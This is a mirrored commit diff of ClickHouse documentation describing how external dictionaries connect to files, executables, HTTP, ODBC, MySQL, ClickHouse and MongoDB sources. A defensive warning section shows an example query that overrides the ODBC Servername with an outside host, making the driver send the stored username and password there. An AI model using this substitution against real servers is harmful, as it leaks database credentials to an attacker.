mirror of
https://github.com/ClickHouse/ClickHouse.git
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Merge branch 'master' of github.com:yandex/ClickHouse
This commit is contained in:
Alexey Milovidov
commit
54206a9d7d
@ -1,433 +1,433 @@
|
||||
<a name="dicts-external_dicts_dict_sources"></a>
|
||||
|
||||
# Sources of External Dictionaries
|
||||
|
||||
An external dictionary can be connected from many different sources.
|
||||
|
||||
The configuration looks like this:
|
||||
|
||||
```xml
|
||||
<yandex>
|
||||
<dictionary>
|
||||
...
|
||||
<source>
|
||||
<source_type>
|
||||
<!-- Source configuration -->
|
||||
</source_type>
|
||||
</source>
|
||||
...
|
||||
</dictionary>
|
||||
...
|
||||
</yandex>
|
||||
```
|
||||
|
||||
The source is configured in the `source` section.
|
||||
|
||||
Types of sources (`source_type`):
|
||||
|
||||
- [Local file](#dicts-external_dicts_dict_sources-local_file)
|
||||
- [Executable file](#dicts-external_dicts_dict_sources-executable)
|
||||
- [HTTP(s)](#dicts-external_dicts_dict_sources-http)
|
||||
- [ODBC](#dicts-external_dicts_dict_sources-odbc)
|
||||
- DBMS
|
||||
- [MySQL](#dicts-external_dicts_dict_sources-mysql)
|
||||
- [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse)
|
||||
- [MongoDB](#dicts-external_dicts_dict_sources-mongodb)
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-local_file"></a>
|
||||
|
||||
## Local File
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<file>
|
||||
<path>/opt/dictionaries/os.tsv</path>
|
||||
<format>TabSeparated</format>
|
||||
</file>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `path` – The absolute path to the file.
|
||||
- `format` – The file format. All the formats described in "[Formats](../../interfaces/formats.md#formats)" are supported.
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-executable"></a>
|
||||
|
||||
## Executable File
|
||||
|
||||
Working with executable files depends on [how the dictionary is stored in memory](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request to the executable file's `STDIN`.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<executable>
|
||||
<command>cat /opt/dictionaries/os.tsv</command>
|
||||
<format>TabSeparated</format>
|
||||
</executable>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `command` – The absolute path to the executable file, or the file name (if the program directory is written to `PATH`).
|
||||
- `format` – The file format. All the formats described in "[Formats](../../interfaces/formats.md#formats)" are supported.
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-http"></a>
|
||||
|
||||
## HTTP(s)
|
||||
|
||||
Working with an HTTP(s) server depends on [how the dictionary is stored in memory](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request via the `POST` method.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<http>
|
||||
<url>http://[::1]/os.tsv</url>
|
||||
<format>TabSeparated</format>
|
||||
</http>
|
||||
</source>
|
||||
```
|
||||
|
||||
In order for ClickHouse to access an HTTPS resource, you must [configure openSSL](../../operations/server_settings/settings.md#server_settings-openSSL) in the server configuration.
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `url` – The source URL.
|
||||
- `format` – The file format. All the formats described in "[Formats](../../interfaces/formats.md#formats)" are supported.
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-odbc"></a>
|
||||
|
||||
## ODBC
|
||||
|
||||
You can use this method to connect any database that has an ODBC driver.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<odbc>
|
||||
<db>DatabaseName</db>
|
||||
<table>ShemaName.TableName</table>
|
||||
<connection_string>DSN=some_parameters</connection_string>
|
||||
<invalidate_query>SQL_QUERY</invalidate_query>
|
||||
</odbc>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `db` – Name of the database. Omit it if the database name is set in the `<connection_string>` parameters.
|
||||
- `table` – Name of the table and schema if exists.
|
||||
- `connection_string` – Connection string.
|
||||
- `invalidate_query` – Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
|
||||
|
||||
ClickHouse receives quoting symbols from ODBC-driver and quote all settings in queries to driver, so it's necessary to set table name accordingly to table name case in database.
|
||||
|
||||
### Known vulnerability of the ODBC dictionary functionality
|
||||
|
||||
!!! attention
|
||||
When connecting to the database through the ODBC driver connection parameter `Servername` can be substituted. In this case values of `USERNAME` and `PASSWORD` from `odbc.ini` are sent to the remote server and can be compromised.
|
||||
|
||||
**Example of insecure use**
|
||||
|
||||
Let's configure unixODBC for PostgreSQL. Content of `/etc/odbc.ini`:
|
||||
|
||||
```
|
||||
[gregtest]
|
||||
Driver = /usr/lib/psqlodbca.so
|
||||
Servername = localhost
|
||||
PORT = 5432
|
||||
DATABASE = test_db
|
||||
#OPTION = 3
|
||||
USERNAME = test
|
||||
PASSWORD = test
|
||||
```
|
||||
|
||||
If you then make a query such as
|
||||
|
||||
```
|
||||
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
|
||||
```
|
||||
|
||||
ODBC driver will send values of `USERNAME` and `PASSWORD` from `odbc.ini` to `some-server.com`.
|
||||
|
||||
### Example of Connecting PostgreSQL
|
||||
|
||||
Ubuntu OS.
|
||||
|
||||
Installing unixODBC and the ODBC driver for PostgreSQL:
|
||||
|
||||
sudo apt-get install -y unixodbc odbcinst odbc-postgresql
|
||||
|
||||
Configuring `/etc/odbc.ini` (or `~/.odbc.ini`):
|
||||
|
||||
```
|
||||
[DEFAULT]
|
||||
Driver = myconnection
|
||||
|
||||
[myconnection]
|
||||
Description = PostgreSQL connection to my_db
|
||||
Driver = PostgreSQL Unicode
|
||||
Database = my_db
|
||||
Servername = 127.0.0.1
|
||||
UserName = username
|
||||
Password = password
|
||||
Port = 5432
|
||||
Protocol = 9.3
|
||||
ReadOnly = No
|
||||
RowVersioning = No
|
||||
ShowSystemTables = No
|
||||
ConnSettings =
|
||||
```
|
||||
|
||||
The dictionary configuration in ClickHouse:
|
||||
|
||||
```xml
|
||||
<yandex>
|
||||
<dictionary>
|
||||
<name>table_name</name>
|
||||
<source>
|
||||
<odbc>
|
||||
<a name="dicts-external_dicts_dict_sources"></a>
|
||||
|
||||
# Sources of External Dictionaries
|
||||
|
||||
An external dictionary can be connected from many different sources.
|
||||
|
||||
The configuration looks like this:
|
||||
|
||||
```xml
|
||||
<yandex>
|
||||
<dictionary>
|
||||
...
|
||||
<source>
|
||||
<source_type>
|
||||
<!-- Source configuration -->
|
||||
</source_type>
|
||||
</source>
|
||||
...
|
||||
</dictionary>
|
||||
...
|
||||
</yandex>
|
||||
```
|
||||
|
||||
The source is configured in the `source` section.
|
||||
|
||||
Types of sources (`source_type`):
|
||||
|
||||
- [Local file](#dicts-external_dicts_dict_sources-local_file)
|
||||
- [Executable file](#dicts-external_dicts_dict_sources-executable)
|
||||
- [HTTP(s)](#dicts-external_dicts_dict_sources-http)
|
||||
- DBMS
|
||||
- [MySQL](#dicts-external_dicts_dict_sources-mysql)
|
||||
- [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse)
|
||||
- [MongoDB](#dicts-external_dicts_dict_sources-mongodb)
|
||||
- [ODBC](#dicts-external_dicts_dict_sources-odbc)
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-local_file"></a>
|
||||
|
||||
## Local File
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<file>
|
||||
<path>/opt/dictionaries/os.tsv</path>
|
||||
<format>TabSeparated</format>
|
||||
</file>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `path` – The absolute path to the file.
|
||||
- `format` – The file format. All the formats described in "[Formats](../../interfaces/formats.md#formats)" are supported.
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-executable"></a>
|
||||
|
||||
## Executable File
|
||||
|
||||
Working with executable files depends on [how the dictionary is stored in memory](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request to the executable file's `STDIN`.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<executable>
|
||||
<command>cat /opt/dictionaries/os.tsv</command>
|
||||
<format>TabSeparated</format>
|
||||
</executable>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `command` – The absolute path to the executable file, or the file name (if the program directory is written to `PATH`).
|
||||
- `format` – The file format. All the formats described in "[Formats](../../interfaces/formats.md#formats)" are supported.
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-http"></a>
|
||||
|
||||
## HTTP(s)
|
||||
|
||||
Working with an HTTP(s) server depends on [how the dictionary is stored in memory](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request via the `POST` method.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<http>
|
||||
<url>http://[::1]/os.tsv</url>
|
||||
<format>TabSeparated</format>
|
||||
</http>
|
||||
</source>
|
||||
```
|
||||
|
||||
In order for ClickHouse to access an HTTPS resource, you must [configure openSSL](../../operations/server_settings/settings.md#server_settings-openSSL) in the server configuration.
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `url` – The source URL.
|
||||
- `format` – The file format. All the formats described in "[Formats](../../interfaces/formats.md#formats)" are supported.
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-odbc"></a>
|
||||
|
||||
## ODBC
|
||||
|
||||
You can use this method to connect any database that has an ODBC driver.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<odbc>
|
||||
<db>DatabaseName</db>
|
||||
<table>ShemaName.TableName</table>
|
||||
<connection_string>DSN=some_parameters</connection_string>
|
||||
<invalidate_query>SQL_QUERY</invalidate_query>
|
||||
</odbc>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `db` – Name of the database. Omit it if the database name is set in the `<connection_string>` parameters.
|
||||
- `table` – Name of the table and schema if exists.
|
||||
- `connection_string` – Connection string.
|
||||
- `invalidate_query` – Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
|
||||
|
||||
ClickHouse receives quoting symbols from ODBC-driver and quote all settings in queries to driver, so it's necessary to set table name accordingly to table name case in database.
|
||||
|
||||
### Known vulnerability of the ODBC dictionary functionality
|
||||
|
||||
!!! attention
|
||||
When connecting to the database through the ODBC driver connection parameter `Servername` can be substituted. In this case values of `USERNAME` and `PASSWORD` from `odbc.ini` are sent to the remote server and can be compromised.
|
||||
|
||||
**Example of insecure use**
|
||||
|
||||
Let's configure unixODBC for PostgreSQL. Content of `/etc/odbc.ini`:
|
||||
|
||||
```
|
||||
[gregtest]
|
||||
Driver = /usr/lib/psqlodbca.so
|
||||
Servername = localhost
|
||||
PORT = 5432
|
||||
DATABASE = test_db
|
||||
#OPTION = 3
|
||||
USERNAME = test
|
||||
PASSWORD = test
|
||||
```
|
||||
|
||||
If you then make a query such as
|
||||
|
||||
```
|
||||
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
|
||||
```
|
||||
|
||||
ODBC driver will send values of `USERNAME` and `PASSWORD` from `odbc.ini` to `some-server.com`.
|
||||
|
||||
### Example of Connecting PostgreSQL
|
||||
|
||||
Ubuntu OS.
|
||||
|
||||
Installing unixODBC and the ODBC driver for PostgreSQL:
|
||||
|
||||
sudo apt-get install -y unixodbc odbcinst odbc-postgresql
|
||||
|
||||
Configuring `/etc/odbc.ini` (or `~/.odbc.ini`):
|
||||
|
||||
```
|
||||
[DEFAULT]
|
||||
Driver = myconnection
|
||||
|
||||
[myconnection]
|
||||
Description = PostgreSQL connection to my_db
|
||||
Driver = PostgreSQL Unicode
|
||||
Database = my_db
|
||||
Servername = 127.0.0.1
|
||||
UserName = username
|
||||
Password = password
|
||||
Port = 5432
|
||||
Protocol = 9.3
|
||||
ReadOnly = No
|
||||
RowVersioning = No
|
||||
ShowSystemTables = No
|
||||
ConnSettings =
|
||||
```
|
||||
|
||||
The dictionary configuration in ClickHouse:
|
||||
|
||||
```xml
|
||||
<yandex>
|
||||
<dictionary>
|
||||
<name>table_name</name>
|
||||
<source>
|
||||
<odbc>
|
||||
<!-- You can specify the following parameters in connection_string: -->
|
||||
<!-- DSN=myconnection;UID=username;PWD=password;HOST=127.0.0.1;PORT=5432;DATABASE=my_db -->
|
||||
<connection_string>DSN=myconnection</connection_string>
|
||||
<table>postgresql_table</table>
|
||||
</odbc>
|
||||
</source>
|
||||
<lifetime>
|
||||
<min>300</min>
|
||||
<max>360</max>
|
||||
</lifetime>
|
||||
<layout>
|
||||
<hashed/>
|
||||
</layout>
|
||||
<structure>
|
||||
<id>
|
||||
<name>id</name>
|
||||
</id>
|
||||
<attribute>
|
||||
<name>some_column</name>
|
||||
<type>UInt64</type>
|
||||
<null_value>0</null_value>
|
||||
</attribute>
|
||||
</structure>
|
||||
</dictionary>
|
||||
</yandex>
|
||||
```
|
||||
|
||||
You may need to edit `odbc.ini` to specify the full path to the library with the driver `DRIVER=/usr/local/lib/psqlodbcw.so`.
|
||||
|
||||
### Example of Connecting MS SQL Server
|
||||
|
||||
Ubuntu OS.
|
||||
|
||||
Installing the driver: :
|
||||
|
||||
```
|
||||
sudo apt-get install tdsodbc freetds-bin sqsh
|
||||
```
|
||||
|
||||
Configuring the driver: :
|
||||
|
||||
```
|
||||
$ cat /etc/freetds/freetds.conf
|
||||
...
|
||||
|
||||
[MSSQL]
|
||||
host = 192.168.56.101
|
||||
port = 1433
|
||||
tds version = 7.0
|
||||
client charset = UTF-8
|
||||
|
||||
$ cat /etc/odbcinst.ini
|
||||
...
|
||||
|
||||
[FreeTDS]
|
||||
Description = FreeTDS
|
||||
Driver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so
|
||||
Setup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so
|
||||
FileUsage = 1
|
||||
UsageCount = 5
|
||||
|
||||
$ cat ~/.odbc.ini
|
||||
...
|
||||
|
||||
[MSSQL]
|
||||
Description = FreeTDS
|
||||
Driver = FreeTDS
|
||||
Servername = MSSQL
|
||||
Database = test
|
||||
UID = test
|
||||
PWD = test
|
||||
Port = 1433
|
||||
```
|
||||
|
||||
Configuring the dictionary in ClickHouse:
|
||||
|
||||
```xml
|
||||
<yandex>
|
||||
<dictionary>
|
||||
<name>test</name>
|
||||
<source>
|
||||
<odbc>
|
||||
<table>dict</table>
|
||||
<connection_string>DSN=MSSQL;UID=test;PWD=test</connection_string>
|
||||
</odbc>
|
||||
</source>
|
||||
|
||||
<lifetime>
|
||||
<min>300</min>
|
||||
<max>360</max>
|
||||
</lifetime>
|
||||
|
||||
<layout>
|
||||
<flat />
|
||||
</layout>
|
||||
|
||||
<structure>
|
||||
<id>
|
||||
<name>k</name>
|
||||
</id>
|
||||
<attribute>
|
||||
<name>s</name>
|
||||
<type>String</type>
|
||||
<null_value></null_value>
|
||||
</attribute>
|
||||
</structure>
|
||||
</dictionary>
|
||||
</yandex>
|
||||
```
|
||||
|
||||
## DBMS
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-mysql"></a>
|
||||
|
||||
### MySQL
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<mysql>
|
||||
<port>3306</port>
|
||||
<user>clickhouse</user>
|
||||
<password>qwerty</password>
|
||||
<replica>
|
||||
<host>example01-1</host>
|
||||
<priority>1</priority>
|
||||
</replica>
|
||||
<replica>
|
||||
<host>example01-2</host>
|
||||
<priority>1</priority>
|
||||
</replica>
|
||||
<db>db_name</db>
|
||||
<table>table_name</table>
|
||||
<where>id=10</where>
|
||||
<invalidate_query>SQL_QUERY</invalidate_query>
|
||||
</mysql>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `port` – The port on the MySQL server. You can specify it for all replicas, or for each one individually (inside `<replica>`).
|
||||
|
||||
- `user` – Name of the MySQL user. You can specify it for all replicas, or for each one individually (inside `<replica>`).
|
||||
|
||||
- `password` – Password of the MySQL user. You can specify it for all replicas, or for each one individually (inside `<replica>`).
|
||||
|
||||
- `replica` – Section of replica configurations. There can be multiple sections.
|
||||
- `replica/host` – The MySQL host.
|
||||
|
||||
\* `replica/priority` – The replica priority. When attempting to connect, ClickHouse traverses the replicas in order of priority. The lower the number, the higher the priority.
|
||||
|
||||
- `db` – Name of the database.
|
||||
|
||||
- `table` – Name of the table.
|
||||
|
||||
- `where ` – The selection criteria. Optional parameter.
|
||||
|
||||
- `invalidate_query` – Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
|
||||
|
||||
MySQL can be connected on a local host via sockets. To do this, set `host` and `socket`.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<mysql>
|
||||
<host>localhost</host>
|
||||
<socket>/path/to/socket/file.sock</socket>
|
||||
<user>clickhouse</user>
|
||||
<password>qwerty</password>
|
||||
<db>db_name</db>
|
||||
<table>table_name</table>
|
||||
<where>id=10</where>
|
||||
<invalidate_query>SQL_QUERY</invalidate_query>
|
||||
</mysql>
|
||||
</source>
|
||||
```
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-clickhouse"></a>
|
||||
|
||||
### ClickHouse
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<clickhouse>
|
||||
<host>example01-01-1</host>
|
||||
<port>9000</port>
|
||||
<user>default</user>
|
||||
<password></password>
|
||||
<db>default</db>
|
||||
<table>ids</table>
|
||||
<where>id=10</where>
|
||||
</clickhouse>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `host` – The ClickHouse host. If it is a local host, the query is processed without any network activity. To improve fault tolerance, you can create a [Distributed](../../operations/table_engines/distributed.md#table_engines-distributed) table and enter it in subsequent configurations.
|
||||
- `port` – The port on the ClickHouse server.
|
||||
- `user` – Name of the ClickHouse user.
|
||||
- `password` – Password of the ClickHouse user.
|
||||
- `db` – Name of the database.
|
||||
- `table` – Name of the table.
|
||||
- `where ` – The selection criteria. May be omitted.
|
||||
- `invalidate_query` – Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-mongodb"></a>
|
||||
|
||||
### MongoDB
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<mongodb>
|
||||
<host>localhost</host>
|
||||
<port>27017</port>
|
||||
<user></user>
|
||||
<password></password>
|
||||
<db>test</db>
|
||||
<collection>dictionary_source</collection>
|
||||
</mongodb>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `host` – The MongoDB host.
|
||||
- `port` – The port on the MongoDB server.
|
||||
- `user` – Name of the MongoDB user.
|
||||
- `password` – Password of the MongoDB user.
|
||||
- `db` – Name of the database.
|
||||
- `collection` – Name of the collection.
|
||||
|
||||
[Original article](https://clickhouse.yandex/docs/en/query_language/dicts/external_dicts_dict_sources/) <!--hide-->
|
||||
<!-- DSN=myconnection;UID=username;PWD=password;HOST=127.0.0.1;PORT=5432;DATABASE=my_db -->
|
||||
<connection_string>DSN=myconnection</connection_string>
|
||||
<table>postgresql_table</table>
|
||||
</odbc>
|
||||
</source>
|
||||
<lifetime>
|
||||
<min>300</min>
|
||||
<max>360</max>
|
||||
</lifetime>
|
||||
<layout>
|
||||
<hashed/>
|
||||
</layout>
|
||||
<structure>
|
||||
<id>
|
||||
<name>id</name>
|
||||
</id>
|
||||
<attribute>
|
||||
<name>some_column</name>
|
||||
<type>UInt64</type>
|
||||
<null_value>0</null_value>
|
||||
</attribute>
|
||||
</structure>
|
||||
</dictionary>
|
||||
</yandex>
|
||||
```
|
||||
|
||||
You may need to edit `odbc.ini` to specify the full path to the library with the driver `DRIVER=/usr/local/lib/psqlodbcw.so`.
|
||||
|
||||
### Example of Connecting MS SQL Server
|
||||
|
||||
Ubuntu OS.
|
||||
|
||||
Installing the driver: :
|
||||
|
||||
```
|
||||
sudo apt-get install tdsodbc freetds-bin sqsh
|
||||
```
|
||||
|
||||
Configuring the driver: :
|
||||
|
||||
```
|
||||
$ cat /etc/freetds/freetds.conf
|
||||
...
|
||||
|
||||
[MSSQL]
|
||||
host = 192.168.56.101
|
||||
port = 1433
|
||||
tds version = 7.0
|
||||
client charset = UTF-8
|
||||
|
||||
$ cat /etc/odbcinst.ini
|
||||
...
|
||||
|
||||
[FreeTDS]
|
||||
Description = FreeTDS
|
||||
Driver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so
|
||||
Setup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so
|
||||
FileUsage = 1
|
||||
UsageCount = 5
|
||||
|
||||
$ cat ~/.odbc.ini
|
||||
...
|
||||
|
||||
[MSSQL]
|
||||
Description = FreeTDS
|
||||
Driver = FreeTDS
|
||||
Servername = MSSQL
|
||||
Database = test
|
||||
UID = test
|
||||
PWD = test
|
||||
Port = 1433
|
||||
```
|
||||
|
||||
Configuring the dictionary in ClickHouse:
|
||||
|
||||
```xml
|
||||
<yandex>
|
||||
<dictionary>
|
||||
<name>test</name>
|
||||
<source>
|
||||
<odbc>
|
||||
<table>dict</table>
|
||||
<connection_string>DSN=MSSQL;UID=test;PWD=test</connection_string>
|
||||
</odbc>
|
||||
</source>
|
||||
|
||||
<lifetime>
|
||||
<min>300</min>
|
||||
<max>360</max>
|
||||
</lifetime>
|
||||
|
||||
<layout>
|
||||
<flat />
|
||||
</layout>
|
||||
|
||||
<structure>
|
||||
<id>
|
||||
<name>k</name>
|
||||
</id>
|
||||
<attribute>
|
||||
<name>s</name>
|
||||
<type>String</type>
|
||||
<null_value></null_value>
|
||||
</attribute>
|
||||
</structure>
|
||||
</dictionary>
|
||||
</yandex>
|
||||
```
|
||||
|
||||
## DBMS
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-mysql"></a>
|
||||
|
||||
### MySQL
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<mysql>
|
||||
<port>3306</port>
|
||||
<user>clickhouse</user>
|
||||
<password>qwerty</password>
|
||||
<replica>
|
||||
<host>example01-1</host>
|
||||
<priority>1</priority>
|
||||
</replica>
|
||||
<replica>
|
||||
<host>example01-2</host>
|
||||
<priority>1</priority>
|
||||
</replica>
|
||||
<db>db_name</db>
|
||||
<table>table_name</table>
|
||||
<where>id=10</where>
|
||||
<invalidate_query>SQL_QUERY</invalidate_query>
|
||||
</mysql>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `port` – The port on the MySQL server. You can specify it for all replicas, or for each one individually (inside `<replica>`).
|
||||
|
||||
- `user` – Name of the MySQL user. You can specify it for all replicas, or for each one individually (inside `<replica>`).
|
||||
|
||||
- `password` – Password of the MySQL user. You can specify it for all replicas, or for each one individually (inside `<replica>`).
|
||||
|
||||
- `replica` – Section of replica configurations. There can be multiple sections.
|
||||
- `replica/host` – The MySQL host.
|
||||
|
||||
\* `replica/priority` – The replica priority. When attempting to connect, ClickHouse traverses the replicas in order of priority. The lower the number, the higher the priority.
|
||||
|
||||
- `db` – Name of the database.
|
||||
|
||||
- `table` – Name of the table.
|
||||
|
||||
- `where ` – The selection criteria. Optional parameter.
|
||||
|
||||
- `invalidate_query` – Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
|
||||
|
||||
MySQL can be connected on a local host via sockets. To do this, set `host` and `socket`.
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<mysql>
|
||||
<host>localhost</host>
|
||||
<socket>/path/to/socket/file.sock</socket>
|
||||
<user>clickhouse</user>
|
||||
<password>qwerty</password>
|
||||
<db>db_name</db>
|
||||
<table>table_name</table>
|
||||
<where>id=10</where>
|
||||
<invalidate_query>SQL_QUERY</invalidate_query>
|
||||
</mysql>
|
||||
</source>
|
||||
```
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-clickhouse"></a>
|
||||
|
||||
### ClickHouse
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<clickhouse>
|
||||
<host>example01-01-1</host>
|
||||
<port>9000</port>
|
||||
<user>default</user>
|
||||
<password></password>
|
||||
<db>default</db>
|
||||
<table>ids</table>
|
||||
<where>id=10</where>
|
||||
</clickhouse>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `host` – The ClickHouse host. If it is a local host, the query is processed without any network activity. To improve fault tolerance, you can create a [Distributed](../../operations/table_engines/distributed.md#table_engines-distributed) table and enter it in subsequent configurations.
|
||||
- `port` – The port on the ClickHouse server.
|
||||
- `user` – Name of the ClickHouse user.
|
||||
- `password` – Password of the ClickHouse user.
|
||||
- `db` – Name of the database.
|
||||
- `table` – Name of the table.
|
||||
- `where ` – The selection criteria. May be omitted.
|
||||
- `invalidate_query` – Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
|
||||
|
||||
<a name="dicts-external_dicts_dict_sources-mongodb"></a>
|
||||
|
||||
### MongoDB
|
||||
|
||||
Example of settings:
|
||||
|
||||
```xml
|
||||
<source>
|
||||
<mongodb>
|
||||
<host>localhost</host>
|
||||
<port>27017</port>
|
||||
<user></user>
|
||||
<password></password>
|
||||
<db>test</db>
|
||||
<collection>dictionary_source</collection>
|
||||
</mongodb>
|
||||
</source>
|
||||
```
|
||||
|
||||
Setting fields:
|
||||
|
||||
- `host` – The MongoDB host.
|
||||
- `port` – The port on the MongoDB server.
|
||||
- `user` – Name of the MongoDB user.
|
||||
- `password` – Password of the MongoDB user.
|
||||
- `db` – Name of the database.
|
||||
- `collection` – Name of the collection.
|
||||
|
||||
[Original article](https://clickhouse.yandex/docs/en/query_language/dicts/external_dicts_dict_sources/) <!--hide-->
|
||||
|
||||
@ -28,8 +28,8 @@
|
||||
- [Локальный файл](#dicts-external_dicts_dict_sources-local_file)
|
||||
- [Исполняемый файл](#dicts-external_dicts_dict_sources-executable)
|
||||
- [HTTP(s)](#dicts-external_dicts_dict_sources-http)
|
||||
- [ODBC](#dicts-external_dicts_dict_sources-odbc)
|
||||
- СУБД:
|
||||
- [ODBC](#dicts-external_dicts_dict_sources-odbc)
|
||||
- [MySQL](#dicts-external_dicts_dict_sources-mysql)
|
||||
- [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse)
|
||||
- [MongoDB](#dicts-external_dicts_dict_sources-mongodb)
|
||||
|
||||
Loading…
Reference in New Issue
Block a user